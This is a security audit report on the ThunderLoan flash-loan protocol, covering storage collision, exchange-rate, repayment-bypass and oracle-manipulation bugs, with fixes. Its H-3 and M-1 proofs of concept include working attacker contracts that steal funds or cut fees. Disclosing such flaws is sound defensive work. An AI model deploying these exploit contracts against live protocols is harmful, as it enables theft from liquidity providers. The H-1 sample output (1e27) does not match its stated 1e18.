# Thunder Loan Protocol Audit Report

Version 1.0

*GushALKDev*

January 8, 2026

# Thunder Loan Protocol Audit Report

GushALKDev

January 8, 2026

## Table of Contents

    - [M-1] Oracle price manipulation allows attackers to pay reduced flash loan fees
    - [M-2] Protocol becomes unusable if underlying token (e.g., USDC) is paused or blacklisted
    - [M-3] Nested flash loans with the same token break due to premature flag reset

- Low

    - [L-1] Uninitialized proxy can be frontrun, allowing attacker to take ownership
    - [L-2] `IThunderLoan` interface is not implemented by `ThunderLoan` contract
    - [L-3] Missing event emission when flash loan fee is updated
    - [L-4] Division by zero if `totalSupply()` is zero in `updateExchangeRate()`

- Informational

    - [I-1] Solidity 0.8.20 includes PUSH0 opcode which may not be compatible with all EVM chains
    - [I-2] Missing NatSpec documentation across multiple contracts
    - [I-3] Unused error `ThunderLoan__ExhangeRateCanOnlyIncrease`
    - [I-4] Incorrect import location for `IThunderLoan` interface
    - [I-5] Centralization risk: Owner has significant control over protocol
    - [I-6] `OracleUpgradeable::getPrice()` function is redundant
    - [I-7] Functions could be marked as `external` instead of `public`
    - [I-8] Insufficient test coverage leaves critical functionality untested

- Gas

    - [G-1] Cache `s_exchangeRate` and `totalSupply()` in `updateExchangeRate()`
    - [G-2] `s_feePrecision` should be a constant

## Protocol Summary

ThunderLoan is a flash loan protocol designed to give users access to liquidity for one transaction. It allows liquidity providers to deposit ERC20 tokens and earn fees from flash loan borrowers. The protocol uses an upgradeable proxy pattern (UUPS) and relies on TSwap pools for price oracle functionality to calculate fees.

## Disclaimer

GushALKDev makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

| | | Impact | | |
|---|---|---|---|---|
| | | High | Medium | Low |
| | High | H | H/M | M |
| Likelihood | Medium | H/M | M | M/L |
| | Low | M | M/L | L |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

**The findings described in this document correspond the following commit hash:**

```
5befd011dcf955230f1f1d5f6eefd2238518c57b
```

### Scope

The review focused on the core flash loan logic, liquidity provider flows (deposit, redeem), and the upgrade mechanism.

In-scope files:

- `src/protocol/ThunderLoan.sol`
- `src/protocol/AssetToken.sol`
- `src/protocol/OracleUpgradeable.sol`
- `src/upgradedProtocol/ThunderLoanUpgraded.sol`
- `src/interfaces/IFlashLoanReceiver.sol`
- `src/interfaces/IPoolFactory.sol`
- `src/interfaces/ITSwapPool.sol`

- `src/interfaces/IThunderLoan.sol`

Out of scope:

- Deployment scripts and infrastructure (`script/`, `Makefile`, CI, etc.)
- Third-party dependencies under `lib/` (assumed correct as imported)

### Roles

- **Owner:** Has administrative control over the protocol. Can set allowed tokens (`setAllowedToken()`), update flash loan fees (`updateFlashLoanFee()`), and authorize contract upgrades (`_authorizeUpgrade()`).
- **Liquidity Providers:** Deposit ERC20 tokens into the protocol via `deposit()` and receive `AssetToken` shares representing their stake. They earn fees from flash loan borrowers and can withdraw their funds via `redeem()`.
- **Flash Loan Borrowers:** Request flash loans via `flashloan()`, execute arbitrary logic in their `executeOperation()` callback, and repay the borrowed amount plus fee within the same transaction via `repay()`.
- **AssetToken Contract:** Holds the underlying tokens deposited by liquidity providers and handles token transfers for flash loans.

## Executive Summary

### Issues found

The protocol contains several critical vulnerabilities in its core functionality. The most severe issues include (1) a storage collision bug in the upgraded contract that completely breaks fee calculation, (2) incorrect exchange rate updates during deposits that harm liquidity providers, (3) a flash loan repayment bypass that allows attackers to steal funds by depositing instead of repaying, and (4) incorrect fee calculation based on WETH value rather than token units.

Additionally, the oracle price mechanism is susceptible to manipulation, and there are several edge cases and informational issues that impact protocol robustness.

| Severity | Number of issues found |
|---|---|
| High | 4 |
| Medium | 3 |

| Severity | Number of issues found |
|---|---|
| Low | 4 |
| Informational | 8 |
| Gas | 2 |
| **Total** | **21** |

## Findings

## High

#### [H-1] Storage collision after upgrade breaks protocol functionality due to removal of `s_feePrecision` variable

IMPACT: HIGH LIKELIHOOD: HIGH

**Description:** In `ThunderLoanUpgraded.sol`, the storage variable `s_feePrecision` was removed and changed to a constant `FEE_PRECISION`. This causes a storage slot collision because `s_flashLoanFee` now occupies the slot that was previously used by `s_feePrecision`.

In the original `ThunderLoan.sol`:

```
uint256 private s_feePrecision;      // Slot X
uint256 private s_flashLoanFee;      // Slot X+1
```

In `ThunderLoanUpgraded.sol`:

```
uint256 private s_flashLoanFee;      // Slot X (now reads old
    s_feePrecision value!)
uint256 public constant FEE_PRECISION = 1e18;   // Constants don't use
    storage slots
```

After upgrade, `s_flashLoanFee` will read the value that was stored in `s_feePrecision` (1e18), not the actual fee (3e15).

**Impact:** The flash loan fee will be incorrectly read after upgrade, causing the protocol to charge 1e18 (100%) instead of 3e15 (0.3%) as the fee. This completely breaks the flash loan functionality and makes it unusable.

**Proof of Concept:**

PoC

Place the following test into `ThunderLoanTest.t.sol`:

```
function testUpgradeBreaks() public {
    uint256 feeBeforeUpgrade = thunderLoan.getFee();
    vm.startPrank(thunderLoan.owner());
    ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
    thunderLoan.upgradeToAndCall(address(upgraded), "");
    vm.stopPrank();
    uint256 feeAfterUpgrade = upgraded.getFee();
    console2.log("Fee before upgrade", feeBeforeUpgrade);
    console2.log("Fee after upgrade", feeAfterUpgrade);
    assertEq(feeBeforeUpgrade, feeAfterUpgrade); // This will fail!
}
```

Output:

```
Fee before upgrade: 3000000000000000
Fee after upgrade: 1000000000000000000000000000
```

**Recommended Mitigation:** If you must remove a storage variable, leave a blank placeholder to preserve the storage layout:

```
    mapping(IERC20 => AssetToken) public s_tokenToAssetToken;

+   uint256 private s_blank; // Placeholder for removed s_feePrecision
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

---

### [H-2] Exchange rate is incorrectly updated during deposits, causing liquidity providers to lose funds

IMPACT: HIGH LIKELIHOOD: HIGH

**Description:** In `ThunderLoan::deposit()`, the exchange rate is updated with a calculated fee based on the deposit amount. However, the exchange rate should only be updated when flash loans are repaid, not during deposits. This causes the exchange rate to increase artificially on each deposit.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
        ) / exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);

    // @audit BUG: These lines should NOT be here
    uint256 calculatedFee = getCalculatedFee(token, amount);
    assetToken.updateExchangeRate(calculatedFee);  // <-- This is wrong
        !

    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

**Impact:** Liquidity providers who deposit will artificially inflate the exchange rate, causing subsequent depositors to receive fewer asset tokens than they should. When redeeming, earlier depositors will receive more underlying tokens than they deposited (at the expense of later depositors).

**Proof of Concept:**

PoC

Place the following test into `ThunderLoanTest.t.sol`:

```
function testRedeemAfterDeposit() public setAllowedToken hasDeposits {
    vm.startPrank(liquidityProvider);
    thunderLoan.redeem(tokenA, type(uint256).max);
    vm.stopPrank();
    // Liquidity provider should get back exactly what they deposited
    // but due to the bug, they get back more or less depending on
        timing
    assertEq(tokenA.balanceOf(liquidityProvider), DEPOSIT_AMOUNT);
}
```

**Recommended Mitigation:** Remove the fee calculation and exchange rate update from the deposit function:

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
    AssetToken assetToken = s_tokenToAssetToken[token];
    uint256 exchangeRate = assetToken.getExchangeRate();
    uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
        ) / exchangeRate;
    emit Deposit(msg.sender, token, amount);
    assetToken.mint(msg.sender, mintAmount);
-   uint256 calculatedFee = getCalculatedFee(token, amount);
-   assetToken.updateExchangeRate(calculatedFee);
    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

### [H-3] Users can steal funds by depositing instead of repaying flash loans, receiving free asset tokens

IMPACT: HIGH LIKELIHOOD: HIGH

**Description:** In `ThunderLoan::flashloan()`, the function only checks if the ending balance of the asset token is greater than or equal to the starting balance plus fee. It doesn't verify HOW the funds were returned. An attacker can use `deposit()` instead of `repay()` to return the borrowed funds, which mints them asset tokens they can later redeem for profit.

```
function flashloan(...) external {
    // ...
    assetToken.transferUnderlyingTo(receiverAddress, amount);
    receiverAddress.functionCall(...);

    uint256 endingBalance = token.balanceOf(address(assetToken));
    // @audit Only checks balance, not how it was returned!
    if (endingBalance < startingBalance + fee) {
        revert ThunderLoan__NotPaidBack(startingBalance + fee,
           endingBalance);
    }
    s_currentlyFlashLoaning[token] = false;
}
```

**Impact:** Attackers can take flash loans and deposit the borrowed amount + fee back into the protocol. This mints them asset tokens that they can immediately redeem. Since they received asset tokens for a deposit made with borrowed funds, they effectively steal from other liquidity providers.

**Proof of Concept:**

PoC

Place the following test and contract into `ThunderLoanTest.t.sol`:

```
function testDepositInsteadOfRepay() public setAllowedToken hasDeposits
     {
    uint256 amountToBorrow = 50e18;

    DepositInsteadOfRepay depositInsteadOfRepay = new
       DepositInsteadOfRepay(
        address(thunderLoan),
        amountToBorrow
    );

    vm.startPrank(user);
    // Mint tokenA to repay the fee
    tokenA.mint(address(depositInsteadOfRepay), 1e18);

    bytes memory params = abi.encode(address(user));
    // Take the flash loan
    thunderLoan.flashloan(address(depositInsteadOfRepay), tokenA,
        amountToBorrow, params);

    // Check balance of assets before redeem
    uint256 assetBalanceBeforeRedeem = IERC20(tokenA).balanceOf(user);
    console2.log("TokenA balance before redeem",
        assetBalanceBeforeRedeem);

    // Redeem the shares
    thunderLoan.redeem(IERC20(tokenA), type(uint256).max);

    // Check balance of assets after redeem
    uint256 assetBalanceAfterRedeem = IERC20(tokenA).balanceOf(user);
    console2.log("TokenA balance after redeem", assetBalanceAfterRedeem
        );

    vm.stopPrank();

    assert(assetBalanceAfterRedeem > assetBalanceBeforeRedeem);
}

contract DepositInsteadOfRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    uint256 amountToBorrow;

    constructor (address _thunderLoanAddress, uint256 _amountToBorrow)
        {
        thunderLoan = ThunderLoan(_thunderLoanAddress);
        amountToBorrow = _amountToBorrow;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address initiator,
        bytes calldata params
    )
    external
    returns (bool) {
        IERC20 assetToken = IERC20(address(thunderLoan.
            getAssetFromToken(IERC20(token))));
        address caller = abi.decode(params, (address));

        IERC20(token).approve(address(thunderLoan), amountToBorrow +
            fee);
        thunderLoan.deposit(IERC20(token), amountToBorrow + fee);

        // Send the shares to the caller address for redeeming
        assetToken.transfer(caller, assetToken.balanceOf(address(this))
            );

        return true;
    }
}
```

**Recommended Mitigation:** Block deposits while a flash loan is active. Use a modifier that checks the `s_currentlyFlashLoaning` mapping:

```
+   modifier revertIfCurrentlyFlashLoaning(IERC20 token) {
+       if (s_currentlyFlashLoaning[token]) {
+           revert ThunderLoan__CurrentlyFlashLoaning();
+       }
+       _;
+   }

-   function deposit(IERC20 token, uint256 amount) external
    revertIfZero(amount) revertIfNotAllowedToken(token) {
+   function deposit(IERC20 token, uint256 amount) external
    revertIfZero(amount) revertIfNotAllowedToken(token)
    revertIfCurrentlyFlashLoaning(token) {
```

---

### [H-4] Flash loan fee is calculated in WETH value instead of token units, causing incorrect fee amounts

IMPACT: HIGH LIKELIHOOD: HIGH

**Description:** The `getCalculatedFee()` function calculates the fee by first converting the borrowed token amount to WETH value, then applying the fee percentage. However, the fee should be paid in the borrowed token, not in WETH-equivalent value.

```
function getCalculatedFee(IERC20 token, uint256 amount) public view
    returns (uint256 fee) {
    // @audit This converts to WETH value first
    uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(
        token))) / s_feePrecision;
    // @audit Fee is in WETH terms, not token terms!
    fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
}
```

**Impact:** The fee charged will be incorrect. For tokens worth more than WETH, users pay too little fee. For tokens worth less than WETH, users pay too much fee. This creates an arbitrage opportunity and inconsistent protocol economics.

**Recommended Mitigation:** Calculate the fee directly on the token amount:

```
function getCalculatedFee(IERC20 token, uint256 amount) public view
    returns (uint256 fee) {
-    uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(
    token))) / s_feePrecision;
-    fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
+    fee = (amount * s_flashLoanFee) / s_feePrecision;
}
```

---

## Medium

### [M-1] Oracle price manipulation allows attackers to pay reduced flash loan fees

IMPACT: MEDIUM LIKELIHOOD: HIGH

**Description:** The `OracleUpgradeable::getPriceInWeth()` function uses the spot price from TSwap pools to calculate flash loan fees. An attacker can manipulate the pool price by executing a large swap before taking a flash loan, reducing the apparent value of the token and thus paying less fees.

```
function getPriceInWeth(address token) public view returns (uint256) {
    address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token
        );
    // @audit Spot price is easily manipulable!
    return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
}
```

**Impact:** Attackers can reduce their flash loan fees significantly by manipulating the oracle price before borrowing. This results in liquidity providers earning less fees than expected.

**Proof of Concept:**

PoC

Place the following test into `ThunderLoanTest.t.sol`:

```
function testOracleManipulation() public {
    uint256 amountToBorrow = 50e18;
    // Set up contracts
    thunderLoan = new ThunderLoan();
    tokenA = new ERC20Mock();
    proxy = new ERC1967Proxy(address(thunderLoan), "");
    BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));

    // Create TSwap DEX between WETH and TokenA
    address tswapPool = pf.createPool(address(tokenA));

    // Initialize ThunderLoan
    thunderLoan = ThunderLoan(address(proxy));
    thunderLoan.initialize(address(pf));

    // Fund Tswap
    vm.startPrank(liquidityProvider);
    tokenA.mint(liquidityProvider, 100e18);
    tokenA.approve(address(tswapPool), 100e18);
    weth.mint(liquidityProvider, 100e18);
    weth.approve(address(tswapPool), 100e18);
    // Ratio 1:1 (1 WETH = 1 TokenA)
    BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
        timestamp);
    vm.stopPrank();

    // Fund ThunderLoan
    vm.prank(thunderLoan.owner());
    thunderLoan.setAllowedToken(tokenA, true);
    vm.startPrank(liquidityProvider);
    tokenA.mint(liquidityProvider, 1000e18);
    tokenA.approve(address(thunderLoan), 1000e18);
    thunderLoan.deposit(tokenA, 1000e18);
    vm.stopPrank();

    uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
        amountToBorrow * 2);
    console2.log("Normal fee cost is", normalFeeCost);

    MaliciousFlashLoanReceiver maliciousFlashLoanReceiver = new
        MaliciousFlashLoanReceiver(
         tswapPool,
         address(thunderLoan),
         address(thunderLoan.getAssetFromToken(tokenA)),
         amountToBorrow
    );

    vm.startPrank(user);
    tokenA.mint(address(maliciousFlashLoanReceiver), 100e18);
    thunderLoan.flashloan(address(maliciousFlashLoanReceiver), tokenA,
        amountToBorrow, "");
    vm.stopPrank();

    uint256 actualFeeCost = maliciousFlashLoanReceiver.feeOne() +
        maliciousFlashLoanReceiver.feeTwo();
    console2.log("Actual fee cost is", actualFeeCost);

    assert(actualFeeCost < normalFeeCost);
}

contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {

    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;
    uint256 amountToBorrow;

    error FailedToRepayTheFlashLoan(bool attacked);

    constructor (address _tswapPoolAddress, address _thunderLoanAddress
        , address _repayAddress, uint256 _amountToBorrow) {
        tswapPool = BuffMockTSwap(_tswapPoolAddress);
        thunderLoan = ThunderLoan(_thunderLoanAddress);
        repayAddress = _repayAddress;
        amountToBorrow = _amountToBorrow;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address initiator,
        bytes calldata params
    )
    external
    returns (bool) {
        if (!attacked) {
            feeOne = fee;
            attacked = true;
            // 1. Swap TokenA borrowed for WETH
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(
                amountToBorrow, 100e18, 100e18);

            IERC20(token).approve(address(tswapPool), amount);

            tswapPool.swapPoolTokenForWethBasedOnOutputWeth(wethBought,
                 amount, block.timestamp);
            // 2. Take out ANOTHER flash loan to show the difference in
                 fees
            thunderLoan.flashloan(address(this), IERC20(token),
                amountToBorrow, "");
            // 3. Repay the first flash loan
            bool success = IERC20(token).transfer(repayAddress, amount
                + feeOne);
            if (!success) {
                revert FailedToRepayTheFlashLoan(attacked);
            }
        }
        else {
            // Calculate the fee and repay the flash loan
            feeTwo = fee;
            // Repay the second flash loan
            bool success = IERC20(token).transfer(repayAddress, amount + feeTwo);
            if (!success) {
                revert FailedToRepayTheFlashLoan(attacked);
            }
        }
        return true;
    }
}
```

**Recommended Mitigation:** Use a Time-Weighted Average Price (TWAP) oracle or integrate Chainlink price feeds instead of spot prices:

```
function getPriceInWeth(address token) public view returns (uint256) {
-   address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
-   return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
+   // Use Chainlink or TWAP oracle
+   return IChainlinkOracle(chainlinkFeed).getPrice(token);
}
```

---

### [M-2] Protocol becomes unusable if underlying token (e.g., USDC) is paused or blacklisted

IMPACT: HIGH LIKELIHOOD: LOW

**Description:** The `AssetToken::transferUnderlyingTo()` function uses `safeTransfer` to transfer underlying tokens. If the underlying token (e.g., USDC, USDT) pauses transfers or blacklists the protocol contracts, all flash loans and redemptions will revert, leaving user funds stuck.

```
function transferUnderlyingTo(address to, uint256 amount) external onlyThunderLoan {
    // @audit If token is paused/blocked, this reverts
    i_underlying.safeTransfer(to, amount);
}
```

**Impact:** If popular tokens like USDC or USDT pause their transfers or blacklist the ThunderLoan contracts, the entire protocol becomes unusable. Users cannot redeem their asset tokens and flash loans cannot be executed.

**Recommended Mitigation:** Consider implementing an emergency withdrawal mechanism that the owner can trigger in case of token-related issues. Also document this risk clearly for users.

---

### [M-3] Nested flash loans with the same token break due to premature flag reset

IMPACT: MEDIUM LIKELIHOOD: LOW

**Description:** The `repay()` function checks `s_currentlyFlashLoaning[token]` to ensure repayment only happens during a flash loan. However, if a user takes a nested flash loan with the same token, the first repayment will succeed but then `s_currentlyFlashLoaning[token]` is set to false, causing the second repayment to revert.

```
function repay(IERC20 token, uint256 amount) public {
    // @audit If nested flash loan, this check fails on second repay
    if (!s_currentlyFlashLoaning[token]) {
        revert ThunderLoan__NotCurrentlyFlashLoaning();
    }
    AssetToken assetToken = s_tokenToAssetToken[token];
    token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
```

**Impact:** Nested flash loans with the same token will fail, limiting protocol flexibility. While this is an edge case, it prevents legitimate use cases like arbitrage across multiple venues.

**Recommended Mitigation:** Use a counter instead of a boolean to track flash loan nesting:

```
-   mapping(IERC20 token => bool currentlyFlashLoaning) private
    s_currentlyFlashLoaning;
+   mapping(IERC20 token => uint256 flashLoanCount) private
    s_flashLoanCount;

function flashloan(...) external {
    // ...
-   s_currentlyFlashLoaning[token] = true;
+   s_flashLoanCount[token]++;
    // ...
-   s_currentlyFlashLoaning[token] = false;
+   s_flashLoanCount[token]--;
}

function repay(IERC20 token, uint256 amount) public {
-   if (!s_currentlyFlashLoaning[token]) {
+   if (s_flashLoanCount[token] == 0) {
        revert ThunderLoan__NotCurrentlyFlashLoaning();
    }
    // ...
}
```

---

## Low

### [L-1] Uninitialized proxy can be frontrun, allowing attacker to take ownership

IMPACT: MEDIUM LIKELIHOOD: LOW

**Description:** The `ThunderLoan::initialize()` function can be called by anyone. If the contract is deployed but not immediately initialized in the same transaction, an attacker can frontrun the initialization and become the owner.

```
function initialize(address tswapAddress) external initializer {
    __Ownable_init(msg.sender);  // @audit Caller becomes owner
    __UUPSUpgradeable_init();
    __Oracle_init(tswapAddress);
    s_feePrecision = 1e18;
    s_flashLoanFee = 3e15;
}
```

**Impact:** An attacker could become the owner of the protocol and control all owner-only functions like `setAllowedToken()`, `updateFlashLoanFee()`, and `_authorizeUpgrade()`.

**Recommended Mitigation:** Initialize the contract in the same transaction as deployment in the deployment script, or use a factory pattern that initializes atomically.

---

### [L-2] `IThunderLoan` interface is not implemented by `ThunderLoan` contract

IMPACT: LOW LIKELIHOOD: LOW

**Description:** The `IThunderLoan` interface defines `repay(address token, uint256 amount)` but `ThunderLoan` implements `repay(IERC20 token, uint256 amount)`. This type mismatch means the contract does not actually implement the interface.

```
// IThunderLoan.sol
interface IThunderLoan {
    function repay(address token, uint256 amount) external;
}

// ThunderLoan.sol
function repay(IERC20 token, uint256 amount) public { ... }
```

**Impact:** Contracts expecting the interface will not work correctly with ThunderLoan. The `IFlashLoanReceiver` interface imports `IThunderLoan` but cannot properly call `repay()`.

**Recommended Mitigation:** Update the interface to match the implementation:

```
interface IThunderLoan {
-   function repay(address token, uint256 amount) external;
+   function repay(IERC20 token, uint256 amount) external;
}
```

---

### [L-3] Missing event emission when flash loan fee is updated

IMPACT: LOW LIKELIHOOD: LOW

**Description:** The `updateFlashLoanFee()` function changes a critical protocol parameter but does not emit an event.

```
function updateFlashLoanFee(uint256 newFee) external onlyOwner {
    if (newFee > s_feePrecision) {
        revert ThunderLoan__BadNewFee();
    }
    s_flashLoanFee = newFee;
    // @audit Missing event
}
```

**Impact:** Off-chain monitoring and indexing systems cannot track fee changes. Users may be unaware of fee updates.

**Recommended Mitigation:** Add and emit a `FlashLoanFeeUpdated` event:

```
+   event FlashLoanFeeUpdated(uint256 oldFee, uint256 newFee);

function updateFlashLoanFee(uint256 newFee) external onlyOwner {
    if (newFee > s_feePrecision) {
        revert ThunderLoan__BadNewFee();
    }
+   emit FlashLoanFeeUpdated(s_flashLoanFee, newFee);
    s_flashLoanFee = newFee;
}
```

---

### [L-4] Division by zero if `totalSupply()` is zero in `updateExchangeRate()`

IMPACT: LOW LIKELIHOOD: LOW

**Description:** In `AssetToken::updateExchangeRate()`, if `totalSupply()` is zero, the division will revert.

```
function updateExchangeRate(uint256 fee) external onlyThunderLoan {
    // @audit Division by zero if totalSupply() == 0
    uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) /
        totalSupply();
    // ...
}
```

**Impact:** If there are no asset token holders (all redeemed), updating the exchange rate will fail. This is an edge case but could cause issues during protocol bootstrap or after full redemption.

**Recommended Mitigation:** Add a check for zero total supply:

```
function updateExchangeRate(uint256 fee) external onlyThunderLoan {
+   if (totalSupply() == 0) {
+       return; // No holders to update rate for
+   }
    uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) /
        totalSupply();
    // ...
}
```

---

## Informational

#### [I-1] Solidity 0.8.20 includes PUSH0 opcode which may not be compatible with all EVM chains

**Description:** The contracts use `pragma solidity 0.8.20;`. Solidity 0.8.20 introduces the `PUSH0` opcode which is only supported on Ethereum mainnet after the Shanghai upgrade. Deploying to L2s or other EVM chains may fail or behave unexpectedly.

**Recommended Mitigation:** Use Solidity 0.8.19 for maximum compatibility, or explicitly verify chain compatibility before deployment.

---

#### [I-2] Missing NatSpec documentation across multiple contracts

**Description:** Several functions and contracts lack NatSpec documentation: - `IFlashLoanReceiver::executeOperation()` - `ThunderLoan::deposit()` - `ThunderLoan::flashloan()` - `ThunderLoan::getCalculatedFee()` - `AssetToken` contract

**Recommended Mitigation:** Add comprehensive NatSpec comments for all public/external functions.

---

### [I-3] Unused error `ThunderLoan__ExhangeRateCanOnlyIncrease`

**Description:** The error `ThunderLoan__ExhangeRateCanOnlyIncrease` is defined but never used in `ThunderLoan.sol`. The actual revert happens in `AssetToken.sol` with a different error.

**Recommended Mitigation:** Remove the unused error:

```diff
-    error ThunderLoan__ExhangeRateCanOnlyIncrease();
```

---

### [I-4] Incorrect import location for `IThunderLoan` interface

**Description:** In `IFlashLoanReceiver.sol`, the `IThunderLoan` interface is imported but not used. The import should be in the contract that actually needs it.

```
// @audit Bad import location
import { IThunderLoan } from "./IThunderLoan.sol";
```

**Recommended Mitigation:** Remove the unused import from `IFlashLoanReceiver.sol`.

---

### [I-5] Centralization risk: Owner has significant control over protocol

**Description:** The owner can perform several critical actions: - Set allowed tokens (`setAllowedToken()`) - Update flash loan fee (`updateFlashLoanFee()`) - Upgrade the contract (`_authorizeUpgrade()`)

This creates centralization risks where a malicious or compromised owner could: - Disable token support, trapping user funds - Set excessive fees - Upgrade to a malicious implementation

**Recommended Mitigation:** Consider implementing: - Multi-sig ownership - Timelock for sensitive operations - DAO governance for critical changes

---

### [I-6] `OracleUpgradeable::getPrice()` function is redundant

**Description:** The `getPrice()` function simply calls `getPriceInWeth()` without any additional logic.

```
function getPrice(address token) external view returns (uint256) {
    return getPriceInWeth(token);
}
```

**Recommended Mitigation:** Remove the redundant function or clarify its intended distinct purpose.

---

### [I-7] Functions could be marked as `external` instead of `public`

**Description:** Several functions are marked as `public` but are never called internally: - `repay()` - `getAssetFromToken()` - `isCurrentlyFlashLoaning()`

**Recommended Mitigation:** Change to `external` for gas optimization:

```
-   function repay(IERC20 token, uint256 amount) public {
+   function repay(IERC20 token, uint256 amount) external {
```

---

### [I-8] Insufficient test coverage leaves critical functionality untested

**Description:** The protocol's test suite has critically low coverage across all metrics. Running `forge coverage` reveals the following:

| File | % Lines | % Statements | % Branches | % Funcs |
|---|---|---|---|---|
| src/protocol/AssetToken.sol | 73.08% (19/26) | 75.00% (15/20) | 0.00% (0/3) | 77.78% (7/9) |
| src/protocol/OracleUpgradeable.sol | 90.91% (10/11) | 100.00% (9/9) | 100.00% (0/0) | 80.00% (4/5) |
| src/protocol/ThunderLoan.sol | 60.00% (51/85) | 64.63% (53/82) | 18.18% (2/11) | 52.94% (9/17) |

| File | % Lines | % Statements | % Branches | % Funcs |
|---|---|---|---|---|
| src/upgradedProtocol/ThunderLoanUpgraded.sol | 0.00% (0/82) | 0.00% (0/80) | 0.00% (0/11) | 0.00% (0/16) |
| **Total** | **32.41% (117/361)** | **31.27% (106/339)** | **4.76% (2/42)** | **34.52% (29/84)** |

Key issues: - **ThunderLoan.sol** (core contract): Only 60% line coverage and 18.18% branch coverage - **ThunderLoanUpgraded.sol**: 0% coverage - the upgrade path is completely untested - **Overall branch coverage**: Only 4.76%, meaning edge cases and conditional logic are largely untested

**Impact:** Low test coverage significantly increases the risk of undetected bugs reaching production. The 0% coverage on `ThunderLoanUpgraded.sol` is particularly concerning given that the upgrade introduces a critical storage collision bug (H-1). Better tests would have caught this issue.

**Recommended Mitigation:** 1. Achieve a minimum of 90% line coverage and 80% branch coverage for all in-scope contracts 2. Add specific tests for: - Upgrade scenarios (storage layout preservation) - Edge cases in `deposit()`, `redeem()`, and `flashloan()` - Error conditions and reverts - Access control (owner-only functions) 3. Consider adding fuzz tests and invariant tests for critical protocol invariants: - Total deposited should equal total redeemable - Exchange rate should only increase from flash loan fees - Flash loans should always be fully repaid

---

## Gas

### [G-1] Cache `s_exchangeRate` and `totalSupply()` in `updateExchangeRate()`

**Description:** The `updateExchangeRate()` function reads `s_exchangeRate` and calls `totalSupply()` multiple times.

```
function updateExchangeRate(uint256 fee) external onlyThunderLoan {
    uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) /
        totalSupply();
    if (newExchangeRate <= s_exchangeRate) { ... }
    s_exchangeRate = newExchangeRate;
    emit ExchangeRateUpdated(s_exchangeRate);
}
```

**Recommended Mitigation:**

```
function updateExchangeRate(uint256 fee) external onlyThunderLoan {
+    uint256 oldExchangeRate = s_exchangeRate;
+    uint256 supply = totalSupply();
-    uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) /
    totalSupply();
+    uint256 newExchangeRate = oldExchangeRate * (supply + fee) / supply
    ;
-    if (newExchangeRate <= s_exchangeRate) {
+    if (newExchangeRate <= oldExchangeRate) {
         revert AssetToken__ExhangeRateCanOnlyIncrease(s_exchangeRate,
             newExchangeRate);
     }
     s_exchangeRate = newExchangeRate;
     emit ExchangeRateUpdated(newExchangeRate);
}
```

---

### [G-2] `s_feePrecision` should be a constant

**Description:** In `ThunderLoan.sol`, `s_feePrecision` is a storage variable but is set once in `initialize()` and never changed. It should be a constant.

**Recommended Mitigation:**

```
-    uint256 private s_feePrecision;
+    uint256 private constant FEE_PRECISION = 1e18;

function initialize(address tswapAddress) external initializer {
     // ...
-    s_feePrecision = 1e18;
     s_flashLoanFee = 3e15;
}
```

Note: Be careful with storage layout when making this change in upgradeable contracts (see H-1).